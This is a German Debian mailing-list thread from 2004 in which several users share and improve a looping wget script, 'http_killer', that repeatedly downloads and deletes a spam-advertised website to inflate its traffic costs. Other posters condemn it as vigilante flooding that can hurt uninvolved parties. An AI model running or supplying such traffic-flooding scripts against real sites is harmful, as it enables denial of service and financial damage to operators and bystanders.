Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Dienstag, 23. März 2004 23:29 schrieb Jan Trippler: Auf das obere gehe ich garnichtmehr ein. Falsch, du sagst A: da gibts bessere Methoden, und B: ich sag euch nicht welche. Errinert mich irgendwie an den Kindergarten. Du drehst mir das Wort im Mund rum. Das was Du da schreibst ist frech gelogen. Was Du behauptest stimmt nicht mit dem überein was ich geschrieben habe. Du hast geschrieben das sei der falsche Weg. Ich habe nach dem richtigen gefragt, und du sagst, das du sowas nicht unterstützt. - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAYVLr1jkT71DQrmARAucxAJ99cWE9QeapIfnYtpN4XaKTZI2WXgCdF/tc rjRSB/xgVSFtPAD3D7rn/YA= =FbPU -END PGP SIGNATURE-
Re: Regestrierung
Am Mittwoch, 24. März 2004 10:20 schrieb Werner Mahr: Du drehst mir das Wort im Mund rum. Das was Du da schreibst ist frech gelogen. Was Du behauptest stimmt nicht mit dem überein was ich geschrieben habe. Du hast geschrieben das sei der falsche Weg. Ich habe nach dem richtigen gefragt, und du sagst, das du sowas nicht unterstützt. Er braucht ja auch gar keinen richtigen Weg zu nennen, es gibt leider auch keinen Königsweg. Es gibt aber falsche Wege und dies ist ein falscher, da du nicht sicherstellen kannst auch andere zu schädigen, ich denke Jan hat das ausreichend dargestellt. Was du machen kannst: Sichere alle Rechner in deinem Kompetenzbereich und berate andere wie sie ihre Rechner absichern können. Setze im Rahmen deiner Möglichkeiten Spamfilter ein, und zwar so früh wie möglich, d.h. überlasse das Aussortieren nicht deinen Nutzern (so du welche hast). Frage deinen Provider nach dessen Anti-Spam Maßnahmen. Je weniger Spam-Mail gelesen wird, desto unattraktiver wird Spamming. Hilf im Rahmen deiner Möglichkeiten auch Nutzern anderer Distris und Windowsnutzern bei Systemabsicherung und Spamvermeidung - in deinem eigenen Interesse. Linuxer und insbesondere Debianer zeigen leider vor allem in letztem häufig eine unangebrachte Arroganz. -- Gruß Frank
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Servus, im Rahmen meiner Möglichkeiten helfe ich allen, die meine Hilfe wollen. Zur Zeit vor allem Windows und SuSE. Die Spamfilter laufen schon lange, und hätte es diesen Thread nicht gegeben, so hätte ich garnichts mitbekommen (ich musste mir die Originalmail aus dem Archiv ansehen). Zum Script, da die Adresse welche aufgerufen wird fest drinsteht (nicht per Parameter übergeben wird), lässt das Script ohne Modifikation keine anderen Ziele zu. Wenn jemand das Script modifiziert, was bei diesem nicht schwer ist, verlässt das meinen Zuständigkeitsbereich, obwohl man von einem solchen nicht sprechen kann, da es im Original nicht einmal von mir ist. Wenn jemand ein Script modifizieren kann, sollte er auch in der Lage sein, ein eigenes für diesem Zweck zu schreiben, deswegen sehe ich keinen Grund es nicht hier zu veröffentlichen. Ich denke mal das Arrogant, war nicht direkt auf mich bezogen, da ich nicht wüsste wann ich ein solches Verhalten gezeigt habe. Egal ob jetzt auf mich bezogen oder allgemein gemeint, hätte ich doch gerne ein Beispiel, um diesen Vorwurf nachzuvollziehen. Die Aussage, das Debianer mehr über ihr System wissen(1) lasse ich hier nicht gelten. (1) Wissen müssen, bei anderen Systemen kann man sich auch Wissen darüber aneignen, bei Debian wird aber zur Grundinstallation schon mehr vorausgesetzt. Ich weiß das das auch auf andere Systeme zutrifft, aber in der Regel ist dies nicht der Fall. - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAYZQ01jkT71DQrmARAtn3AJ9L0Gy4TKysPXuL3Wa+C4G6iE7/vgCdEUYH zRlVpz7VH/H4BG9ztlx7TPU= =y18M -END PGP SIGNATURE-
Re: Regestrierung
Am Mittwoch, 24. März 2004 14:59 schrieb Werner Mahr: Ich denke nicht, daß es falsch ist das Script zu veröffentichen, sondern daß es falsch ist es zu schreiben/benutzen. Ich denke mal das Arrogant, war nicht direkt auf mich bezogen, da ich nicht wüsste wann ich ein solches Verhalten gezeigt habe. Egal ob jetzt auf mich bezogen oder allgemein gemeint, hätte ich doch gerne ein Beispiel, um diesen Vorwurf nachzuvollziehen. Die Aussage, das Debianer mehr über ihr System wissen(1) lasse ich hier nicht gelten. Nein, du warst nicht persönich gemeint, schließlich kenne ich dich gar nicht. Ob Debianer mehr wissen (von irgendwas) kann ich nicht sagen ist hier aber auch ohne Belang. Ich habe auch kein konkretes Beispiel für dich, jedoch ist in vielen Newsgroups etwa zum Thema Viren und Desinfektion der hätteste halt Linux genommen-Satz allseits präsent. Es _gibt_ andere Beispiele. Als ich kürzlich einem Bekannten sein Windows neu installierte wurde ich von Anderen gefragt wieso ich ihm nicht Linux empfohlen habe. Sie würden ja niemandem mehr bei WindoZe-Problemchen helfen. DAS ist arrogant. Der Bekannte wollte[!] Windows und er ist damit gut beraten wenn ihm schon jemand bei der Installation helfen muß! -- Gruß Frank
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Mittwoch, 24. März 2004 16:36 schrieb Frank Evers: Ich habe auch kein konkretes Beispiel für dich, jedoch ist in vielen Newsgroups etwa zum Thema Viren und Desinfektion der hätteste halt Linux genommen-Satz allseits präsent. Es _gibt_ andere Beispiele. Das sind die üblichen Trolle, die gibts auf beiden Seiten. Stichwort Heise-Forum. Als ich kürzlich einem Bekannten sein Windows neu installierte wurde ich von Anderen gefragt wieso ich ihm nicht Linux empfohlen habe. Sie würden ja niemandem mehr bei WindoZe-Problemchen helfen. DAS ist arrogant. Der Bekannte wollte[!] Windows und er ist damit gut beraten wenn ihm schon jemand bei der Installation helfen muß! Ja, so einen Bekannten habe ich auch. Ich habe ihm vorm letztenmal Neumachen mal ne Knoppix gezeigt. Nachdem er gefragt hatte, ob er damit alles machen kann, was er braucht (hauptsächlich Text und Tabellen), habe ich ihm das OOo gezeigt was bei der Knoppix (3.3) dabei war. Zugegeben, ich hatte ihm gesagt, das sein (derzeitiges) Problem (Sober) damit gelöst sei. Das Ende vom Lied war, das er ne SuSE 9.0 gekauft hat, und die läuft seitdem einwandfrei. Zugegeben, solche Anwender (die nicht zocken wollen und bei denen sich die Anforderungen nicht ständig ändern) findet man selten, aber in diesem Fall wars das beste für beide Seiten. Falls was nicht läuft, oder ne Kleinigkeit geändert werden muss, ruft er mich sowieso, und da hab ich lieber Linux (auch wenn SuSE ne Umstellung für mich ist) als Windows. Bei nem anderen Kumpel hab ich allerdings von einer Migration (die er selbst vorgeschlagen hatte) abgeraten, da er eigentlich nur am Zocken ist, und ein großteil seiner Spiele (noch) nicht portiert sind. Bei dem muss ich mich halt mit WinXP rumschlagen, aber das war halt auch wieder das Beste für beide Seiten. - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAYbet1jkT71DQrmARAqjTAJ0T5YlXQdN1AbXXXnfLE4+0D3zUvQCcD+lZ B2C6r3wlt1PaIBaIzw7EZcA= =SOU7 -END PGP SIGNATURE-
Re: Regestrierung
HI, Frank Evers wrote: [...] Hilf im Rahmen deiner Möglichkeiten auch Nutzern anderer Distris und Windowsnutzern bei Systemabsicherung und Spamvermeidung - in deinem eigenen Interesse. Linuxer und insbesondere Debianer zeigen leider vor allem in letztem häufig eine unangebrachte Arroganz. wie ist das denn jetzt gemeint bzw. wie kommst Du darauf? Was ich so in dieser Liste sehe, werden auch Fragen von 'Nicht-Debianern' beantwortet, zwar mit dem Hinweis, dass eigentlich eine andere Liste dafür besser geeignet wäre, aber i.d.R. wird so eine Anfrage auch beantwortet. Ich selbst beantworte auch 'Nicht-Debian-Fragen' in dieser Liste, notfalls geht es dann per PM weiter. Gruss Reinhold -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
Am Montag, 22. März 2004 07:39 schrieb Werner Mahr: [...] Erstens, wird bei mir auch ein Schaden verursacht. Und Du schädigst per Lynchjustiz zurück - mit der offensichtlichen Billigung, dass auch andere, Unbeteiligte geschädigt werden (z. B. durch Engpässe auf anderne Webseiten, die u. U. sich den gleichen Server mit dem Spammer teilen). Und Zweitens, ist ein DOS etwas anderes. Die Site wurde mittlerweile vom Netz genommen, da der Traffic zu hoch war, nicht weil der Server überlastet war. Nein, die Antispam-Seite, die ich meinte, wurde durch DDoS-Angriffe aus dem Verkehr gezogen, ist aber schon ne Weile her - darum ging es mir auch nicht. Ich wollte es als Beispiel verstanden wissen, dass Spammer durchaus in der Lage sind, ihrerseits Racheaktionen anzuzetteln. Das scheint Dir entgangen zu sein. Das Script ruft eben nicht die Informationen ab, sondern verursacht ausschliesslich dummen, nutzlosen Traffic - es geht ja nicht um die Informationen (oder hab ich den Befehl rm falsch verstanden?). Hat irgendjemand gesagt, das die Informationen auch ausgewertet werden? Das ist Haarspalterei. Du solltest eigentlich kapiert haben, was ich damit meinte. Wenn nicht - Pech gehabt. Wieso richte ich mehr Schaden an? Der Traffic der Website wird bezahlt, der Traffic, den das Versenden des SPAMs erzeugt nicht. Der einzige Schaden ist, wenn überhaupt welcher entstehen sollte beim Spammer, und da kannst du nicht wirklich etwas dagegen haben. Du schädigst u. U. Unbeteiligte, Du sorgst für sinnlosen Traffic im Netz - Du gibst ein Beispiel für !IMHO! - verantwortungslose *Haust Du mich - hau ich Dich* Philosophie. Das ist für mich ein enormer Schaden. Du bist anderer Meinung - Dein Bier. Ich greife Leute an, die Programme / Scripts _ausschließlich_ zu dem Zweck schreiben, anderen zu schaden. Und Euer Scriptchen hat keinerlei nützliche Funktion. Nein du sagst, das jemand das Script auch dafür Nutzen könnte. Und das trifft auf Sniffer und ähnliches auch zu. Sag mal - Du willst mich missverstehen, oder? Das Script hat einen einzigen Zweck: Schaden anzurichten, dabei ist es mir erstmal völlig egal, bei wem der Schaden auftritt. Jeder Portscanner hat einen leicht einsehbaren Nutzen. Einen Sniffer kannst Du für sinnvolle Zwecke einsetzen, Euer Script nicht. [...] Nein, genau das werde ich nicht. Ich vergeude meine Zeit nicht mit solchem Unfug. Ich sage A: ich finde die Methode Sch... und ich sage B: Ich werde das nicht auch noch unterstützen. Falsch, du sagst A: da gibts bessere Methoden, und B: ich sag euch nicht welche. Errinert mich irgendwie an den Kindergarten. Du drehst mir das Wort im Mund rum. Das was Du da schreibst ist frech gelogen. Was Du behauptest stimmt nicht mit dem überein was ich geschrieben habe. Für mich: EOT Jan
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Werner Mahr wrote: | Am Sonntag, 21. März 2004 22:22 schrieb Jan Christoph Ebersach: |~for j in $(wc -c ~/tmp/pipe) ; do |~ let byte=$byte+$j; |~ let kbyte=$byte/1024; |~ let mbyte=$kbyte/1024; |~ break; # grausam, aber sauber |~done | | | Bleiben die Daten in der pipe, oder wandern die irgendwann nach /dev/null? | Falls sie drin bleiben wird falsch gerechnet. Die Daten bleiben nicht in der pipe, denn eine Named Pipe ist eigentlich nichts anderes als eine Pipe | - Unterschied ist nur, dass die Named Pipe einen Dateinamen hat :-) | Wo liegt der Vorteil in deiner Version (angenommen das Script wäre wget | -o /dev/null)? Der Vorteil liegt hier: let byte=$byte+$j; # meine Version let kBytes=kBytes+54 # Michelles Version +54 ist nicht wirklich genau und muss von Hand ausgerechnet werden, während meine Version die tatsächliche Downloadgröße berechnet. Gruß. Jan Christoph - -- eMail: [EMAIL PROTECTED] Hompage : http://www.e-jc.de/ PGP-KeyID: 0x2D600996 Wo kämen wir hin, wenn alle sagen würden wo kämen wir hin und keiner ginge, um zu sehen, wohin man käme, wenn man ginge ;-) -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFAXuY7Y+DL3S1gCZYRAoMHAJ49/MuQHG2LRxDAuovT/Vb0/98dsACg7yEl AzyL7NGsYldjWfce1QHsIBw= =7ZTM -END PGP SIGNATURE- -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
Hallo Jan, Am 2004-03-22 07:57:39, schrieb Jan Kesten: Wirksame Mittel gegen Spam sind brauchbare Filter: mein Provider fuer meine Domain stellt mir (und allen anderen) seine Rechenleistung auf dem office.freenet.de mittlerweile auch... Habe seit der Aktivierung keinen einzigen SWEN oder einen seiner Geschwister bekommen. Meine Mailtraffic hat sich auf gut 30% reduziert. Der SPAM-Filter schaft auch so um die 80% Nur dumm, das man für den lern-modus Web-Mail verwenden muß. Wenn man pop2/imap verwendet, kriegt man die restlichen 20% von denen 80% wiederum durch meine procmail-Filter aussortiert werden. Webserver fuer Spamassassin und ein paar andere Filter _kostenlos_ zur Verfuegung und geht auch gegen Spammer vor. Und was die dort abfangen ist heftig :-) (moechte auch nicht wissen, was hier von der ML runtergefiltert wird, gibt's dazu eigentlich Statistiken?) Diese Statistik würde mich auch interessieren... Nach einem Bekannten zu urteilen mehrere Hundert MByte pro Liste. ich habe ja auf meine E-Mail linux4michelle über 400 Vieren pro Tag bekommen (meistens SWEN) Zu dem was Du nuetzlich findest: Danke! Etwas wie du-tree hab ich schon gesucht und nun per Zufall gefunden - echt klasse! Viele Gruesse und eine schoene neue Woche! Jan Grüße und angenehme Woche Michelle -- Registered Linux-User #280138 with the Linux Counter, http://counter.li.org/ -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
Hallo jan, Der Vorteil liegt hier: let byte=$byte+$j; # meine Version let kBytes=kBytes+54 # Michelles Version +54 ist nicht wirklich genau und muss von Hand ausgerechnet werden, während meine Version die tatsächliche Downloadgröße berechnet. Das wußte ich bis jetzt noch nicht... Wieder mal was gelernt... Gruß. Jan Christoph Greetings Michelle -- Registered Linux-User #280138 with the Linux Counter, http://counter.li.org/ -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Montag, 22. März 2004 14:12 schrieb Jan Christoph Ebersach: Der Vorteil liegt hier: let byte=$byte+$j; # meine Version let kBytes=kBytes+54 # Michelles Version +54 ist nicht wirklich genau und muss von Hand ausgerechnet werden, während meine Version die tatsächliche Downloadgröße berechnet. Das stimmt fast, da die Größe der Zahl limitiert ist. Michelle weiß auch auf wieviel. Ist die Größe erreicht zählt es rückwärts. Michelle hat sich gut amüsiert, als ich ihm schrieb das das Script die Site nicht mehr abruft, sondern hochlädt, da bei mir der Fortschritt mit -irgendwas angezeigt wurde. Spätestens dann ist die Genauigkeit sowieso egal. - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAXxhD1jkT71DQrmARAs5uAJ0Xf2EE9MIAbLicrTx+rkig3IN25gCffRXF C85682DlU0ewI0xZto1HKBQ= =NzWz -END PGP SIGNATURE-
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Werner Mahr wrote: | Das stimmt fast, da die Größe der Zahl limitiert ist. Michelle weiß | auch auf wieviel. Ist die Größe erreicht zählt es rückwärts. Michelle | hat sich gut amüsiert, als ich ihm schrieb das das Script die Site | nicht mehr abruft, sondern hochlädt, da bei mir der Fortschritt mit | -irgendwas angezeigt wurde. Spätestens dann ist die Genauigkeit | sowieso egal. LOL, den Integerüberlauf habe ich natürlich nicht beachtet - wahrscheinlich wird der aber erst bei 2^31 Byte bzw. 2GB einsetzen ... Gruß. Jan Christoph - -- eMail: [EMAIL PROTECTED] Hompage : http://www.e-jc.de/ PGP-KeyID: 0x2D600996 Wo kämen wir hin, wenn alle sagen würden wo kämen wir hin und keiner ginge, um zu sehen, wohin man käme, wenn man ginge ;-) -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFAXzKdY+DL3S1gCZYRAt2ZAKC6CrA9pf7sdfCPd2fjtYCo73SMhwCdF9Z7 zysqC6pip/dw7/wt44tDacY= =4qyc -END PGP SIGNATURE- -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
Am 2004-03-22 17:45:53, schrieb Werner Mahr: Das stimmt fast, da die Größe der Zahl limitiert ist. Michelle weiß auch auf wieviel. Ist die Größe erreicht zählt es rückwärts. Michelle hat sich gut amüsiert, als ich ihm schrieb das das Script die Site nicht mehr abruft, sondern hochlädt, da bei mir der Fortschritt mit -irgendwas angezeigt wurde. Spätestens dann ist die Genauigkeit sowieso egal. Hey, wenn das funktionieren würde Ein paar Leute die das Script auf nen Server ansetzten sprengen dann in wenigen Stundne die Kapazität eines Servers ROFL MfG usw. Werner Mahr Greetings Michelle -- Registered Linux-User #280138 with the Linux Counter, http://counter.li.org/ -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
Hallo Werner, Erwachsen ist nicht definiert. Manche sagen man ist erwachsen wenn man sein eigenes Haus hat, einen Job und ein Kind. Andere sagen dasselbe, man darf aber nichts geerbt haben um das Haus zu bauen. Wieder anderer sagen ab 18 bist du automatisch erwachsen. Und wieder andere sagen man darf keine Cartoons gucken. Was hältst du für erwachsen? Heute meinte mein Kollege zu mir, man ist erwachsen, wenn man zu zweit in einen Getraenkemarkt geht und nicht dem unwiderstehlichen Drang nachgibt, automatisch auf den Transportkarren zu springen. ciao, Dirk Mailantworten bitte an dsalva AT nutrimatic.ping.de Antworten an andere im Header stehende Adressen koennen verlorengehen! -- | Akkuschrauber-Kaufberatung and AEG-GSM-stuff | | Visit my homepage: http://www.nutrimatic.ping.de/ | | FIDO: Dirk Salva 2:244/6305.10 Internet: dsalvaATgmx.de | |The Ruhrgebiet, best place to live in Germany! | -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
nabend, Am Montag, 22. März 2004 17:17 schrieb Dirk Salva: Hallo Werner, Erwachsen ist nicht definiert. Manche sagen man ist erwachsen wenn man sein eigenes Haus hat, einen Job und ein Kind. Andere sagen dasselbe, man darf aber nichts geerbt haben um das Haus zu bauen. Wieder anderer sagen ab 18 bist du automatisch erwachsen. Und wieder andere sagen man darf keine Cartoons gucken. Was hältst du für erwachsen? Heute meinte mein Kollege zu mir, man ist erwachsen, wenn man zu zweit in einen Getraenkemarkt geht und nicht dem unwiderstehlichen Drang nachgibt, automatisch auf den Transportkarren zu springen. dann bist du nicht erwachsen sondern alt... dieter
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Montag, 22. März 2004 18:17 schrieb Dirk Salva: Heute meinte mein Kollege zu mir, man ist erwachsen, wenn man zu zweit in einen Getraenkemarkt geht und nicht dem unwiderstehlichen Drang nachgibt, automatisch auf den Transportkarren zu springen. Wie schauts, wenn ich alleine in einen Supermarkt gehe, und nicht widerstehen kann, auf der Ameise zu surfen. - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAX1lI1jkT71DQrmARAsLqAJsFSsnLwlqwy6gqPV6hc86diSK5jgCgi8WB 9PViSTm9GW6kGKe3vY2aLTg= =Gavw -END PGP SIGNATURE-
Re: Regestrierung
Hallo und guten Abend Werner, danke für die Email vom 22.03.2004 22:23 Werner Mahr schrieb - you wrote: -BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Montag, 22. März 2004 18:17 schrieb Dirk Salva: Heute meinte mein Kollege zu mir, man ist erwachsen, wenn man zu zweit in einen Getraenkemarkt geht und nicht dem unwiderstehlichen Drang nachgibt, automatisch auf den Transportkarren zu springen. Wie schauts, wenn ich alleine in einen Supermarkt gehe, und nicht widerstehen kann, auf der Ameise zu surfen. ist`s nun mal wieder gut? *grmml* -- Viele Grüße, Kind regards, Jim -- Zufalls-Zitat -- Anna Magnani (ital. Schauspielerin, 1908-1973): Wenn Männer sich mit ihren Kopf beschäftigen, nennt man das denken. Wenn Frauen das gleiche tun, heißt das frisieren. -- Dieser Text hat nichts mit dem Empfänger der Mail zu tun -- virengeprüft mit NOD32 Version 1.688 Update 22.03.2004 -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
Werner Mahr [EMAIL PROTECTED] writes: Am Samstag, 20. März 2004 22:52 schrieb Sebastian Niehaus: Aua. Und mit rm wieder alles gelöscht. Sehr 'geschickt' Gegenvorschläge? Ausser wget [...] -o /dev/null Außer, genau. Gruß, Sbastian -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
/home/michelle/bin/http_killer.exe
| #!/bin/bash
| #Ergänzungen von Werner Mahr
|
| PID=$$
| echo $PID ~/log/http_killer.pid
|
| let Bytes=0
| while [ 1 -lt 2 ]; do
| #wget -P ~/tmp/http_killer/ http://www.ianta-ki.de/
| wget -q -P ~/tmp/http_killer
| http://www.beepworld.de/members15/ianta/
| rm -f ~/tmp/http_killer/*
| let Bytes=Bytes+54961
| let MBytes=Bytes/1024/1024
| echo $i ($MBytes MByte)
| # echo $i ($MBytes MByte) ~/log/http_killer.log
| if [ ! -f ~/log/http_killer.pid ] ; then exit 0 ; fi
| done
ihr müsst mir nur noch erzählen wie das Skript nur dann arbeitet wenn
niemand sonst was tut ? Zumindest so habe ich das von den vorherigen
Posts verstanden !
Joel
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Werner Mahr wrote: | Gegenvorschläge? Ausser wget [...] -o /dev/null Gegenvorschlag Named Pipe: if [ ! -p ~/tmp/pipe ] ; then mkfifo ~/tmp/pipe ; fi let byte=0; let kbyte=0; let mbyte=0; for i in `seq 1 10` ; do ~wget -q -O ~/tmp/pipe http://usw.usw/ ~for j in $(wc -c ~/tmp/pipe) ; do ~ let byte=$byte+$j; ~ let kbyte=$byte/1024; ~ let mbyte=$kbyte/1024; ~ break; # grausam, aber sauber ~done ~echo $i ($mbyte MByte) ~/log/http_killer.log done Joel HATSCH wrote: | ihr müsst mir nur noch erzählen wie das Skript nur dann arbeitet wenn | niemand sonst was tut ? Zumindest so habe ich das von den vorherigen | Posts verstanden ! Keine Ahnung wie das gehen soll, aber wget kann mit dem Paramter - --limit-rate bandbreitenbeschränkt werden ... Gruß. Jan Christoph - -- eMail: [EMAIL PROTECTED] Hompage : http://www.e-jc.de/ PGP-KeyID: 0x2D600996 Wo kämen wir hin, wenn alle sagen würden wo kämen wir hin und keiner ginge, um zu sehen, wohin man käme, wenn man ginge ;-) -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) Comment: Using GnuPG with Thunderbird - http://enigmail.mozdev.org iD8DBQFAXgexY+DL3S1gCZYRAhwHAKCRE0R0kNzGqH6ltqVio+T9BGpuQwCgy3ch 2gn8zbBe/q8g914lWKioI5c= =c7Jb -END PGP SIGNATURE- -- Haeufig gestellte Fragen und Antworten (FAQ): http://www.de.debian.org/debian-user-german-FAQ/ Zum AUSTRAGEN schicken Sie eine Mail an [EMAIL PROTECTED] mit dem Subject unsubscribe. Probleme? Mail an [EMAIL PROTECTED] (engl)
Re: Regestrierung
Am Sonntag, 21. März 2004 04:28 schrieb Werner Mahr: [...] Am Samstag, 20. März 2004 22:42 schrieb Jan Trippler: Was soll diese Scheiße? Gibts noch nicht genug Würmer, Backdoors, DDoS, SPAM, Replys von ach so tollen Virenscannern und anderen Mist? Müsst Ihr unbedingt für weiteren sinnlosen Traffic sorgen? Ich finde sowas ehrlich gesagt allerunterste Schublade! Hier gehts nur um Spam, welcher eine Webseite bewirbt. Möglicherweise, falls derselbe Spammer mehrere Webseiten hat, und nach Traffic mit ihm abgerechnet wird, bekommen wir irgendwann keinen Spam mehr von diesem. Es wird in den Mails geworben, das man diese Site abrufen soll, und genau das macht das Script. Es verursacht einen handfesten finanziellen Schaden (woher weisst Du, dass der SPAM immer tatsächlich von der beworbenen Webseite gewünscht ist?) und ist IMHO (IANAL) strafbar. Wie würde es Dir gefallen, wenn morgen ein Spammer aus Rache zur Abwechslung mal _Deine_ Seite bewirbt? DOS-Angriffe auf missliebige Seiten haben sie ja schon seit längerem im Programm. Das Script ruft eben nicht die Informationen ab, sondern verursacht ausschliesslich dummen, nutzlosen Traffic - es geht ja nicht um die Informationen (oder hab ich den Befehl rm falsch verstanden?). Versteh mich nicht falsch: Ich mag SPAM genauso wenig wie die meisten hier, aber mit solchen Aktionen richtet man IMHO mehr Schaden an als die SPAM-Versender. Stoppen wirst Du die Spammer damit nicht. Habt Ihr Euch mal überlegt, dass evtl. der Nächste mit Eurem ach so geilen Script (bei dem sich mir stellenweise die Haare sträuben) irgendjemanden, dessen Webauftritt oder Nase ihm gerade nicht passt, massiv finanziell schädigt? An welcher Stelle ist Euer Gewissen auf der Strecke geblieben? Ist das Script-Kiddie-Dasein so befriedigend für Euer Ego? Kämm dir die Haare und sieh es mal anders. Greifst du die Leute, welche Portscanner schreiben an? Wie wäre es mal mit den Leuten die Sniffer schreiben, damit kann man nämlich Passwörter bekommen. Das Scipt ist vielleicht nicht nach allen Regeln der Kunst verfasst, aber es erfüllt seinen Zweck. Für ein Spontanes Script ist es auch Recht gut gelungen, und auch recht verständlich. Ich greife Leute an, die Programme / Scripts _ausschließlich_ zu dem Zweck schreiben, anderen zu schaden. Und Euer Scriptchen hat keinerlei nützliche Funktion. btw. Meckern kann jeder, zeig uns lieber was du besser machen würdest. Und sag jetzt nicht, das du keine Viren oder Würmer oder sonstwas Lehrgänge geben willst, oder dich vielleicht auf juristisch dünnes Eis begibst. Wer A sagt, muss auch B sagen. Nein, genau das werde ich nicht. Ich vergeude meine Zeit nicht mit solchem Unfug. Ich sage A: ich finde die Methode Sch... und ich sage B: Ich werde das nicht auch noch unterstützen. Wenn Du wissen willst, was ich nützlich finde: siehe Signatur. Werdet erwachsen! Definiere bitte genauer. Noch genauer? Jan -- Linux-Quickies: http://www.jan-trippler.de PingoS: http://www.pingos.org
Re: Regestrierung
-BEGIN PGP SIGNED MESSAGE- Hash: SHA1 Am Sonntag, 21. März 2004 21:11 schrieb Joel HATSCH: /home/michelle/bin/http_killer.exe | #!/bin/bash | #Ergänzungen von Werner Mahr | | PID=$$ | echo $PID ~/log/http_killer.pid | | let Bytes=0 | while [ 1 -lt 2 ]; do | #wget -P ~/tmp/http_killer/ http://www.ianta-ki.de/ | wget -q -P ~/tmp/http_killer | http://www.beepworld.de/members15/ianta/ | rm -f ~/tmp/http_killer/* | let Bytes=Bytes+54961 | let MBytes=Bytes/1024/1024 | echo $i ($MBytes MByte) | # echo $i ($MBytes MByte) ~/log/http_killer.log | if [ ! -f ~/log/http_killer.pid ] ; then exit 0 ; fi | done ihr müsst mir nur noch erzählen wie das Skript nur dann arbeitet wenn niemand sonst was tut ? Zumindest so habe ich das von den vorherigen Posts verstanden ! In dem Fall solltest du dich weiter unten an den Originalauthor wenden, da ich das leider auch noch nicht rausgefunden habe. Ich habe nur DSL-Light, und das Script habe ich nicht bemerkt. Vielleicht lag es auch nur an der recht kleinen Datei. - -- MfG usw. Werner Mahr registered Linuxuser: 295882 -BEGIN PGP SIGNATURE- Version: GnuPG v1.2.4 (GNU/Linux) iD8DBQFAXoYN1jkT71DQrmARAkgtAJ9iRCy5vl+BUt3mnaknyYom76A8WACcDLlB Lmcdy5cClHBpbMB+phG75gU= =fMf3 -END PGP SIGNATURE-
Re: Regestrierung
